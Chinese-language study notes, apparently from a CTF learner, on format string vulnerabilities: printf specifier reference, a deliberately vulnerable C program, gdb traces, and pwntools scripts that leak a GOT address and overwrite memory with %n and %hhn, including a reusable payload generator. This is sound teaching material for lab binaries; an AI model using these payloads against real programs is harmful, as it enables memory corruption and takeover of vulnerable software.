再再再再学一遍格式化字符串

先记录一下格式化输出函数和格式字符串

• 输入
• scanf

• 输出

格式化字符串

• parameter
• n$，获取格式化字符串中的指定参数

• flag

• field width
• 输出的最小宽度

• precision
• 输出的最大长度

• length，输出的长度
• hh，输出一个字节
• h，输出一个双字节

• type
• d/i，有符号整数
• u，无符号整数
• x/X，16 进制 unsigned int 。x 使用小写字母；X 使用大写字母。如果指定了精度，则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0，则输出为空。
• o，8 进制 unsigned int 。如果指定了精度，则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0，则输出为空。
• s，如果没有用 l 标志，输出 null 结尾字符串直到精度规定的上限；如果没有指定精度，则输出所有字节。如果用了 l 标志，则对应函数参数指向 wchar_t 型的数组，输出时把每个宽字符转化为多字节字符，相当于调用 wcrtomb 函数。
• c，如果没有用 l 标志，把 int 参数转为 unsigned char 型输出；如果用了 l 标志，把 wint_t 参数转为包含两个元素的 wchart_t 数组，其中第一个元素包含要输出的字符，第二个元素为 null 宽字符。
• p， void * 型，输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值，printf("%p", &a) 打印变量 a 所在的地址。
• n，不输出字符，但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
• %， '%'字面值，不接受任何 flags, width。

泄露任意地址内存

from pwn import *
import os

sh=process('./leak')
print(proc.pidof(sh)[0])
raw_input()
context.log_level = 'DEBUG'
elf=ELF('./leak')
scanf_got=elf.got['__isoc99_scanf']
payload=p32(scanf_got)+"%4$s"
sh.sendline(payload)
print hex(u32(sh.recv()[4:8]))
#sh.interactive()

覆盖任意内存

#include<stdio.h>
void main() {
    int i;
    char str[] = "hello";

    printf("%s%n\n", str, &i);
    printf("%d\n", i);
}

➜ work ./a.out
hello
5

#include<stdio.h>void main() {
    int i;

    printf("%10u%n\n", 1, &i);
    printf("%d\n", i);
    printf("%.50u%n\n", 1, &i);
    printf("%d\n", i);
    printf("%0100u%n\n", 1, &i);
    printf("%d\n", i);
}

$ ./a.out
         1
10
00000000000000000000000000000000000000000000000001
50
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
100

printf("%0134512640d%n\n", 1, &i);

$ ./a.out
...
0x8048000

/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

pwndbg> r
Starting program: /ctf/work/overflow
0xffffd6ac
aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
aaaa0xffffd648.0xf7fcf410.0x80484bd.(nil).0x1.0x61616161.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70[

python -c 'print("\xac\xd6\xff\xff%012d%6$n")' >text

pwndbg> r < text
Starting program: /ctf/work/overflow < text
0xffffd6ac
����-00000010680modified c.

覆盖小数字

pwndbg> r < tex
Starting program: /ctf/work/overflow < tex
0x804a024
aaaa$modified a for a small number.
[Inferior 1 (process 1841) exited normally]

覆盖大数字

.data:0804A028                 public b
.data:0804A028 b               dd 1C8h

0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12

p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)

• offset 表示要覆盖的地址最初的偏移

• size 表示机器字长

• addr 表示将要覆盖的地址。

• target 表示我们要覆盖为的目的变量值。

def forb():
    sh = process('./overwrite')
    payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
    print payload
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

➜  overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 78547
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn
[*] Process './overwrite' stopped with exit code 0 (pid 78547)
0xfff6f9bc
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0